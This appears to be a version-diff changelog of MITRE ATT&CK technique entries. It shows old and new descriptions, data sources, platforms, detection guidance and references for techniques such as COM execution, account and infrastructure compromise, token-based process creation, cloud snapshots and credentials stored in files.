|---|---|---|---|---|---|
| t | 1 | Adversaries may use the Windows Component Object Model (COM) | t | 1 | Adversaries may use the Windows Component Object Model (COM) |
| > | for local code execution. COM is an inter-process communica | > | for local code execution. COM is an inter-process communica | ||
| > | tion (IPC) component of the native Windows application progr | > | tion (IPC) component of the native Windows application progr | ||
| > | amming interface (API) that enables interaction between soft | > | amming interface (API) that enables interaction between soft | ||
| > | ware objects, or executable code that implements one or more | > | ware objects, or executable code that implements one or more | ||
| > | interfaces.(Citation: Fireeye Hunting COM June 2019) Throug | > | interfaces.(Citation: Fireeye Hunting COM June 2019) Throug | ||
| > | h COM, a client object can call methods of server objects, w | > | h COM, a client object can call methods of server objects, w | ||
| > | hich are typically binary Dynamic Link Libraries (DLL) or ex | > | hich are typically binary Dynamic Link Libraries (DLL) or ex | ||
| > | ecutables (EXE).(Citation: Microsoft COM) Various COM inter | > | ecutables (EXE).(Citation: Microsoft COM) Remote COM executi | ||
| > | faces are exposed that can be abused to invoke arbitrary exe | > | on is facilitated by [Remote Services](https://attack.mitre. | ||
| > | cution via a variety of programming languages such as C, C++ | > | org/techniques/T1021) such as [Distributed Component Object | ||
| > | , Java, and [Visual Basic](https://attack.mitre.org/techniqu | > | Model](https://attack.mitre.org/techniques/T1021/003) (DCOM | ||
| > | es/T1059/005).(Citation: Microsoft COM) Specific COM objects | > | ).(Citation: Fireeye Hunting COM June 2019) Various COM int | ||
| > | also exist to directly perform functions beyond code execut | > | erfaces are exposed that can be abused to invoke arbitrary e | ||
| > | ion, such as creating a [Scheduled Task/Job](https://attack. | > | xecution via a variety of programming languages such as C, C | ||
| > | mitre.org/techniques/T1053), fileless download/execution, an | > | ++, Java, and [Visual Basic](https://attack.mitre.org/techni | ||
| > | d other adversary behaviors related to privilege escalation | > | ques/T1059/005).(Citation: Microsoft COM) Specific COM objec | ||
| > | and persistence.(Citation: Fireeye Hunting COM June 2019)(Ci | > | ts also exist to directly perform functions beyond code exec | ||
| > | tation: ProjectZero File Write EoP Apr 2018) | > | ution, such as creating a [Scheduled Task/Job](https://attac | ||
| > | k.mitre.org/techniques/T1053), fileless download/execution, | ||||
| > | and other adversary behaviors related to privilege escalatio | ||||
| > | n and persistence.(Citation: Fireeye Hunting COM June 2019)( | ||||
| > | Citation: ProjectZero File Write EoP Apr 2018) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_remote_support | True |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-28 19:30:52.639000+00:00 | 2021-07-26 22:51:20.448000+00:00 |
| description | Adversaries may use the Windows Component Object Model (COM) for local code execution. COM is an inter-process communication (IPC) component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces.(Citation: Fireeye Hunting COM June 2019) Through COM, a client object can call methods of server objects, which are typically binary Dynamic Link Libraries (DLL) or executables (EXE).(Citation: Microsoft COM) Various COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).(Citation: Microsoft COM) Specific COM objects also exist to directly perform functions beyond code execution, such as creating a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), fileless download/execution, and other adversary behaviors related to privilege escalation and persistence.(Citation: Fireeye Hunting COM June 2019)(Citation: ProjectZero File Write EoP Apr 2018) | Adversaries may use the Windows Component Object Model (COM) for local code execution. COM is an inter-process communication (IPC) component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces.(Citation: Fireeye Hunting COM June 2019) Through COM, a client object can call methods of server objects, which are typically binary Dynamic Link Libraries (DLL) or executables (EXE).(Citation: Microsoft COM) Remote COM execution is facilitated by [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM).(Citation: Fireeye Hunting COM June 2019) Various COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).(Citation: Microsoft COM) Specific COM objects also exist to directly perform functions beyond code execution, such as creating a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), fileless download/execution, and other adversary behaviors related to privilege escalation and persistence.(Citation: Fireeye Hunting COM June 2019)(Citation: ProjectZero File Write EoP Apr 2018) |
| x_mitre_data_sources[0] | Process monitoring | Module: Module Load |
| x_mitre_data_sources[1] | DLL monitoring | Process: Process Creation |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Script: Script Execution |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may compromise acc | t | 1 | Adversaries may compromise accounts with services that can b |
| > | ounts with services that can be used during targeting. For o | > | e used during targeting. For operations incorporating social | ||
| > | perations incorporating social engineering, the utilization | > | engineering, the utilization of an online persona may be im | ||
| > | of an online persona may be important. Rather than creating | > | portant. Rather than creating and cultivating accounts (i.e. | ||
| > | and cultivating accounts (i.e. [Establish Accounts](https:// | > | [Establish Accounts](https://attack.mitre.org/techniques/T1 | ||
| > | attack.mitre.org/techniques/T1585)), adversaries may comprom | > | 585)), adversaries may compromise existing accounts. Utilizi | ||
| > | ise existing accounts. Utilizing an existing persona may eng | > | ng an existing persona may engender a level of trust in a po | ||
| > | ender a level of trust in a potential victim if they have a | > | tential victim if they have a relationship, or knowledge of, | ||
| > | relationship, or knowledge of, the compromised persona. A | > | the compromised persona. A variety of methods exist for c | ||
| > | variety of methods exist for compromising accounts, such as | > | ompromising accounts, such as gathering credentials via [Phi | ||
| > | gathering credentials via [Phishing for Information](https:/ | > | shing for Information](https://attack.mitre.org/techniques/T | ||
| > | /attack.mitre.org/techniques/T1598), purchasing credentials | > | 1598), purchasing credentials from third-party sites, or by | ||
| > | from third-party sites, or by brute forcing credentials (ex: | > | brute forcing credentials (ex: password reuse from breach cr | ||
| > | password reuse from breach credential dumps).(Citation: Ano | > | edential dumps).(Citation: AnonHBGary) Prior to compromising | ||
| > | nHBGary) Prior to compromising accounts, adversaries may con | > | accounts, adversaries may conduct Reconnaissance to inform | ||
| > | duct Reconnaissance to inform decisions about which accounts | > | decisions about which accounts to compromise to further thei | ||
| > | to compromise to further their operation. Personas may exi | > | r operation. Personas may exist on a single site or across | ||
| > | st on a single site or across multiple sites (ex: Facebook, | > | multiple sites (ex: Facebook, LinkedIn, Twitter, Google, etc | ||
| > | LinkedIn, Twitter, Google, etc.). Compromised accounts may r | > | .). Compromised accounts may require additional development, | ||
| > | equire additional development, this could include filling ou | > | this could include filling out or modifying profile informa | ||
| > | t or modifying profile information, further developing socia | > | tion, further developing social networks, or incorporating p | ||
| > | l networks, or incorporating photos. Adversaries may direct | > | hotos. Adversaries may directly leverage compromised email | ||
| > | ly leverage compromised email accounts for [Phishing for Inf | > | accounts for [Phishing for Information](https://attack.mitre | ||
| > | ormation](https://attack.mitre.org/techniques/T1598) or [Phi | > | .org/techniques/T1598) or [Phishing](https://attack.mitre.or | ||
| > | shing](https://attack.mitre.org/techniques/T1566). | > | g/techniques/T1566). | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-22 18:05:46.296000+00:00 | 2021-10-16 17:15:12.428000+00:00 |
| description | Before compromising a victim, adversaries may compromise accounts with services that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating accounts (i.e. [Establish Accounts](https://attack.mitre.org/techniques/T1585)), adversaries may compromise existing accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. A variety of methods exist for compromising accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, or by brute forcing credentials (ex: password reuse from breach credential dumps).(Citation: AnonHBGary) Prior to compromising accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. Personas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, etc.). Compromised accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos. Adversaries may directly leverage compromised email accounts for [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566). | Adversaries may compromise accounts with services that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating accounts (i.e. [Establish Accounts](https://attack.mitre.org/techniques/T1585)), adversaries may compromise existing accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. A variety of methods exist for compromising accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, or by brute forcing credentials (ex: password reuse from breach credential dumps).(Citation: AnonHBGary) Prior to compromising accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. Personas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, etc.). Compromised accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos. Adversaries may directly leverage compromised email accounts for [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566). |
| x_mitre_data_sources[0] | Social media monitoring | Persona: Social Media |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Network Traffic: Network Traffic Content |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may compromise thi | t | 1 | Adversaries may compromise third-party infrastructure that c |
| > | rd-party infrastructure that can be used during targeting. I | > | an be used during targeting. Infrastructure solutions includ | ||
| > | nfrastructure solutions include physical or cloud servers, d | > | e physical or cloud servers, domains, and third-party web se | ||
| > | omains, and third-party web services. Instead of buying, lea | > | rvices. Instead of buying, leasing, or renting infrastructur | ||
| > | sing, or renting infrastructure an adversary may compromise | > | e an adversary may compromise infrastructure and use it duri | ||
| > | infrastructure and use it during other phases of the adversa | > | ng other phases of the adversary lifecycle.(Citation: Mandia | ||
| > | ry lifecycle.(Citation: Mandiant APT1)(Citation: ICANNDomain | > | nt APT1)(Citation: ICANNDomainNameHijacking)(Citation: Talos | ||
| > | NameHijacking)(Citation: Talos DNSpionage Nov 2018)(Citation | > | DNSpionage Nov 2018)(Citation: FireEye EPS Awakens Part 2) | ||
| > | : FireEye EPS Awakens Part 2) Additionally, adversaries may | > | Additionally, adversaries may compromise numerous machines t | ||
| > | compromise numerous machines to form a botnet they can lever | > | o form a botnet they can leverage. Use of compromised infra | ||
| > | age. Use of compromised infrastructure allows an adversary | > | structure allows an adversary to stage, launch, and execute | ||
| > | to stage, launch, and execute an operation. Compromised infr | > | an operation. Compromised infrastructure can help adversary | ||
| > | astructure can help adversary operations blend in with traff | > | operations blend in with traffic that is seen as normal, suc | ||
| > | ic that is seen as normal, such as contact with high reputat | > | h as contact with high reputation or trusted sites. By using | ||
| > | ion or trusted sites. By using compromised infrastructure, a | > | compromised infrastructure, adversaries may make it difficu | ||
| > | dversaries may make it difficult to tie their actions back t | > | lt to tie their actions back to them. Prior to targeting, ad | ||
| > | o them. Prior to targeting, adversaries may compromise the i | > | versaries may compromise the infrastructure of other adversa | ||
| > | nfrastructure of other adversaries.(Citation: NSA NCSC Turla | > | ries.(Citation: NSA NCSC Turla OilRig) | ||
| > | OilRig) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Internet Scan: Response Metadata', 'Internet Scan: Response Content', 'Domain Name: Active DNS', 'Domain Name: Passive DNS', 'Domain Name: Domain Registration'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-22 18:03:23.937000+00:00 | 2021-10-17 16:01:48.871000+00:00 |
| description | Before compromising a victim, adversaries may compromise third-party infrastructure that can be used during targeting. Infrastructure solutions include physical or cloud servers, domains, and third-party web services. Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it during other phases of the adversary lifecycle.(Citation: Mandiant APT1)(Citation: ICANNDomainNameHijacking)(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye EPS Awakens Part 2) Additionally, adversaries may compromise numerous machines to form a botnet they can leverage. Use of compromised infrastructure allows an adversary to stage, launch, and execute an operation. Compromised infrastructure can help adversary operations blend in with traffic that is seen as normal, such as contact with high reputation or trusted sites. By using compromised infrastructure, adversaries may make it difficult to tie their actions back to them. Prior to targeting, adversaries may compromise the infrastructure of other adversaries.(Citation: NSA NCSC Turla OilRig) | Adversaries may compromise third-party infrastructure that can be used during targeting. Infrastructure solutions include physical or cloud servers, domains, and third-party web services. Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it during other phases of the adversary lifecycle.(Citation: Mandiant APT1)(Citation: ICANNDomainNameHijacking)(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye EPS Awakens Part 2) Additionally, adversaries may compromise numerous machines to form a botnet they can leverage. Use of compromised infrastructure allows an adversary to stage, launch, and execute an operation. Compromised infrastructure can help adversary operations blend in with traffic that is seen as normal, such as contact with high reputation or trusted sites. By using compromised infrastructure, adversaries may make it difficult to tie their actions back to them. Prior to targeting, adversaries may compromise the infrastructure of other adversaries.(Citation: NSA NCSC Turla OilRig) |
| x_mitre_detection | Much of this activity will take place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. | Consider monitoring for anomalous changes to domain registrant information and/or domain resolution information that may indicate the compromise of a domain. Efforts may need to be tailored to specific domains of interest as benign registration and resolution changes are a common occurrence on the internet. Once adversaries have provisioned compromised infrastructure (ex: a server for use in command and control), internet scans may help proactively discover compromised infrastructure. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021) Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'ThreatConnect Infrastructure Dec 2020', 'description': 'ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.', 'url': 'https://threatconnect.com/blog/infrastructure-research-hunting/'} | |
| external_references | {'source_name': 'Mandiant SCANdalous Jul 2020', 'description': 'Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021.', 'url': 'https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation'} | |
| external_references | {'source_name': 'Koczwara Beacon Hunting Sep 2021', 'description': 'Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.', 'url': 'https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2'} |
Current version: 2.2
Version changed from: 2.1 → 2.2
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-24 12:44:28.199000+00:00 | 2021-08-12 13:04:14.534000+00:00 |
| x_mitre_data_sources[0] | Office 365 account logs | User Account: User Account Creation |
| x_mitre_data_sources[1] | Azure activity logs | Process: Process Creation |
| x_mitre_data_sources[2] | AWS CloudTrail logs | Command: Command Execution |
| x_mitre_platforms[0] | Linux | Windows |
| x_mitre_platforms[1] | macOS | Azure AD |
| x_mitre_platforms[2] | Windows | Office 365 |
| x_mitre_platforms[3] | AWS | IaaS |
| x_mitre_platforms[4] | GCP | Linux |
| x_mitre_platforms[5] | Azure AD | macOS |
| x_mitre_platforms[6] | Azure | Google Workspace |
| x_mitre_version | 2.1 | 2.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process monitoring | |
| x_mitre_data_sources | Process command-line parameters | |
| x_mitre_data_sources | Authentication logs | |
| x_mitre_data_sources | Windows event logs | |
| x_mitre_platforms | Office 365 |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-14 19:48:08.299000+00:00 | 2021-03-08 10:33:02.034000+00:00 |
| x_mitre_data_sources[0] | GCP audit logs | Instance: Instance Creation |
| x_mitre_platforms[0] | AWS | IaaS |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Stackdriver logs | |
| x_mitre_data_sources | Azure activity logs | |
| x_mitre_data_sources | AWS CloudTrail logs | |
| x_mitre_platforms | GCP | |
| x_mitre_platforms | Azure |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may create a new process with a duplicated token | t | 1 | Adversaries may create a new process with a different token |
| > | to escalate privileges and bypass access controls. An adver | > | to escalate privileges and bypass access controls. Processes | ||
| > | sary can duplicate a desired access token with <code>Duplica | > | can be created with the token and resulting security contex | ||
| > | teToken(Ex)</code> and use it with <code>CreateProcessWithTo | > | t of another user using features such as <code>CreateProcess | ||
| > | kenW</code> to create a new process running under the securi | > | WithTokenW</code> and <code>runas</code>.(Citation: Microsof | ||
| > | ty context of the impersonated user. This is useful for crea | > | t RunAs) Creating processes with a different token may requ | ||
| > | ting a new process under the security context of a different | > | ire the credentials of the target user, specific privileges | ||
| > | user. | > | to impersonate that user, or access to the token to be used | ||
| > | (ex: gathered via other means such as [Token Impersonation/T | ||||
| > | heft](https://attack.mitre.org/techniques/T1134/001) or [Mak | ||||
| > | e and Impersonate Token](https://attack.mitre.org/techniques | ||||
| > | /T1134/003)). | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Vadim Khrykov'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-26 21:28:19.476000+00:00 | 2021-10-17 14:51:48.978000+00:00 |
| description | Adversaries may create a new process with a duplicated token to escalate privileges and bypass access controls. An adversary can duplicate a desired access token with DuplicateToken(Ex) and use it with CreateProcessWithTokenW to create a new process running under the security context of the impersonated user. This is useful for creating a new process under the security context of a different user. | Adversaries may create a new process with a different token to escalate privileges and bypass access controls. Processes can be created with the token and resulting security context of another user using features such as CreateProcessWithTokenW and runas.(Citation: Microsoft RunAs)
Creating processes with a different token may require the credentials of the target user, specific privileges to impersonate that user, or access to the token to be used (ex: gathered via other means such as [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) or [Make and Impersonate Token](https://attack.mitre.org/techniques/T1134/003)). |
| external_references[1]['source_name'] | Microsoft Command-line Logging | Microsoft RunAs |
| external_references[1]['description'] | Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017. | Microsoft. (2016, August 31). Runas. Retrieved October 1, 2021. |
| external_references[1]['url'] | https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing | https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc771525(v=ws.11) |
| x_mitre_data_sources[0] | Process command-line parameters | Process: OS API Execution |
| x_mitre_data_sources[1] | Process monitoring | Command: Command Execution |
| x_mitre_detection | If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)
If an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior.
Analysts can also monitor for use of Windows APIs such as DuplicateToken(Ex) and CreateProcessWithTokenW and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators. | If an adversary is using a standard command-line shell (i.e. [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003)), analysts may detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command or similar artifacts. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)
If an adversary is using a payload that calls the Windows token APIs directly, analysts may detect token manipulation only through careful analysis of user activity, examination of running processes, and correlation with other endpoint and network behavior.
Analysts can also monitor for use of Windows APIs such as CreateProcessWithTokenW and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Microsoft Command-line Logging', 'description': 'Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017.', 'url': 'https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing'} |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Access tokens | |
| x_mitre_data_sources | API monitoring |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | An adversary may create a snapshot or data backup within a c | t | 1 | An adversary may create a snapshot or data backup within a c |
| > | loud account to evade defenses. A snapshot is a point-in-tim | > | loud account to evade defenses. A snapshot is a point-in-tim | ||
| > | e copy of an existing cloud compute component such as a virt | > | e copy of an existing cloud compute component such as a virt | ||
| > | ual machine (VM), virtual hard drive, or volume. An adversar | > | ual machine (VM), virtual hard drive, or volume. An adversar | ||
| > | y may leverage permissions to create a snapshot in order to | > | y may leverage permissions to create a snapshot in order to | ||
| > | bypass restrictions that prevent access to existing compute | > | bypass restrictions that prevent access to existing compute | ||
| > | service infrastructure, unlike in [Revert Cloud Instance](ht | > | service infrastructure, unlike in [Revert Cloud Instance](ht | ||
| > | tps://attack.mitre.org/techniques/T1536) where an adversary | > | tps://attack.mitre.org/techniques/T1578/004) where an advers | ||
| > | may revert to a snapshot to evade detection and remove evide | > | ary may revert to a snapshot to evade detection and remove e | ||
| > | nce of their presence. An adversary may [Create Cloud Insta | > | vidence of their presence. An adversary may [Create Cloud I | ||
| > | nce](https://attack.mitre.org/techniques/T1578/002), mount o | > | nstance](https://attack.mitre.org/techniques/T1578/002), mou | ||
| > | ne or more created snapshots to that instance, and then appl | > | nt one or more created snapshots to that instance, and then | ||
| > | y a policy that allows the adversary access to the created i | > | apply a policy that allows the adversary access to the creat | ||
| > | nstance, such as a firewall policy that allows them inbound | > | ed instance, such as a firewall policy that allows them inbo | ||
| > | and outbound SSH access.(Citation: Mandiant M-Trends 2020) | > | und and outbound SSH access.(Citation: Mandiant M-Trends 202 | ||
| > | 0) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-14 19:48:08.293000+00:00 | 2021-03-08 10:33:02.060000+00:00 |
| description | An adversary may create a snapshot or data backup within a cloud account to evade defenses. A snapshot is a point-in-time copy of an existing cloud compute component such as a virtual machine (VM), virtual hard drive, or volume. An adversary may leverage permissions to create a snapshot in order to bypass restrictions that prevent access to existing compute service infrastructure, unlike in [Revert Cloud Instance](https://attack.mitre.org/techniques/T1536) where an adversary may revert to a snapshot to evade detection and remove evidence of their presence. An adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002), mount one or more created snapshots to that instance, and then apply a policy that allows the adversary access to the created instance, such as a firewall policy that allows them inbound and outbound SSH access.(Citation: Mandiant M-Trends 2020) | An adversary may create a snapshot or data backup within a cloud account to evade defenses. A snapshot is a point-in-time copy of an existing cloud compute component such as a virtual machine (VM), virtual hard drive, or volume. An adversary may leverage permissions to create a snapshot in order to bypass restrictions that prevent access to existing compute service infrastructure, unlike in [Revert Cloud Instance](https://attack.mitre.org/techniques/T1578/004) where an adversary may revert to a snapshot to evade detection and remove evidence of their presence. An adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002), mount one or more created snapshots to that instance, and then apply a policy that allows the adversary access to the created instance, such as a firewall policy that allows them inbound and outbound SSH access.(Citation: Mandiant M-Trends 2020) |
| x_mitre_data_sources[0] | GCP audit logs | Snapshot: Snapshot Creation |
| x_mitre_platforms[0] | AWS | IaaS |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Stackdriver logs | |
| x_mitre_data_sources | Azure activity logs | |
| x_mitre_data_sources | AWS CloudTrail logs | |
| x_mitre_platforms | GCP | |
| x_mitre_platforms | Azure |
Current version: 1.2
Version changed from: 1.1 → 1.2
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-19 22:43:45.475000+00:00 | 2021-04-06 12:31:06.695000+00:00 |
| x_mitre_data_sources[0] | Authentication logs | User Account: User Account Authentication |
| x_mitre_data_sources[1] | Office 365 account logs | Application Log: Application Log Content |
| x_mitre_platforms[0] | Linux | Windows |
| x_mitre_platforms[1] | macOS | Azure AD |
| x_mitre_platforms[2] | Windows | Office 365 |
| x_mitre_platforms[3] | AWS | SaaS |
| x_mitre_platforms[4] | GCP | IaaS |
| x_mitre_platforms[5] | Azure | Linux |
| x_mitre_platforms[6] | Office 365 | macOS |
| x_mitre_platforms[7] | Azure AD | Google Workspace |
| x_mitre_platforms[8] | SaaS | Containers |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may search local file systems and remote file sh | t | 1 | Adversaries may search local file systems and remote file sh |
| > | ares for files containing insecurely stored credentials. The | > | ares for files containing insecurely stored credentials. The | ||
| > | se can be files created by users to store their own credenti | > | se can be files created by users to store their own credenti | ||
| > | als, shared credential stores for a group of individuals, co | > | als, shared credential stores for a group of individuals, co | ||
| > | nfiguration files containing passwords for a system or servi | > | nfiguration files containing passwords for a system or servi | ||
| > | ce, or source code/binary files containing embedded password | > | ce, or source code/binary files containing embedded password | ||
| > | s. It is possible to extract passwords from backups or save | > | s. It is possible to extract passwords from backups or save | ||
| > | d virtual machines through [OS Credential Dumping](https://a | > | d virtual machines through [OS Credential Dumping](https://a | ||
| > | ttack.mitre.org/techniques/T1003). (Citation: CG 2014) Passw | > | ttack.mitre.org/techniques/T1003). (Citation: CG 2014) Passw | ||
| > | ords may also be obtained from Group Policy Preferences stor | > | ords may also be obtained from Group Policy Preferences stor | ||
| > | ed on the Windows Domain Controller. (Citation: SRD GPP) In | > | ed on the Windows Domain Controller. (Citation: SRD GPP) In | ||
| > | cloud environments, authenticated user credentials are ofte | > | cloud and/or containerized environments, authenticated user | ||
| > | n stored in local configuration and credential files. In som | > | and service account credentials are often stored in local c | ||
| > | e cases, these files can be copied and reused on another mac | > | onfiguration and credential files.(Citation: Unit 42 Hildega | ||
| > | hine or the contents can be read and then used to authentica | > | rd Malware) They may also be found as parameters to deployme | ||
| > | te without needing to copy any files. (Citation: Specter Ops | > | nt commands in container logs.(Citation: Unit 42 Unsecured D | ||
| > | - Cloud Credential Storage) | > | ocker Daemons) In some cases, these files can be copied and | ||
| > | reused on another machine or the contents can be read and th | ||||
| > | en used to authenticate without needing to copy any files.(C | ||||
| > | itation: Specter Ops - Cloud Credential Storage) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-25 18:30:10.630000+00:00 | 2021-04-12 18:32:32.803000+00:00 |
| description | Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords. It is possible to extract passwords from backups or saved virtual machines through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). (Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. (Citation: SRD GPP) In cloud environments, authenticated user credentials are often stored in local configuration and credential files. In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files. (Citation: Specter Ops - Cloud Credential Storage) | Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords. It is possible to extract passwords from backups or saved virtual machines through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). (Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. (Citation: SRD GPP) In cloud and/or containerized environments, authenticated user and service account credentials are often stored in local configuration and credential files.(Citation: Unit 42 Hildegard Malware) They may also be found as parameters to deployment commands in container logs.(Citation: Unit 42 Unsecured Docker Daemons) In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files.(Citation: Specter Ops - Cloud Credential Storage) |
| external_references[4]['source_name'] | Specter Ops - Cloud Credential Storage | Unit 42 Hildegard Malware |
| external_references[4]['description'] | Maddalena, C.. (2018, September 12). Head in the Clouds. Retrieved October 4, 2019. | Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021. |
| external_references[4]['url'] | https://posts.specterops.io/head-in-the-clouds-bd038bb69e48 | https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/ |
| x_mitre_data_sources[0] | Process command-line parameters | File: File Access |
| x_mitre_data_sources[1] | File monitoring | Command: Command Execution |
| x_mitre_platforms[0] | Linux | Windows |
| x_mitre_platforms[1] | macOS | IaaS |
| x_mitre_platforms[2] | Windows | Linux |
| x_mitre_platforms[3] | AWS | macOS |
| x_mitre_platforms[4] | GCP | Containers |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Unit 42 Unsecured Docker Daemons', 'description': "Chen, J.. (2020, January 29). Attacker's Tactics and Techniques in Unsecured Docker Daemons Revealed. Retrieved March 31, 2021.", 'url': 'https://unit42.paloaltonetworks.com/attackers-tactics-and-techniques-in-unsecured-docker-daemons-revealed/'} | |
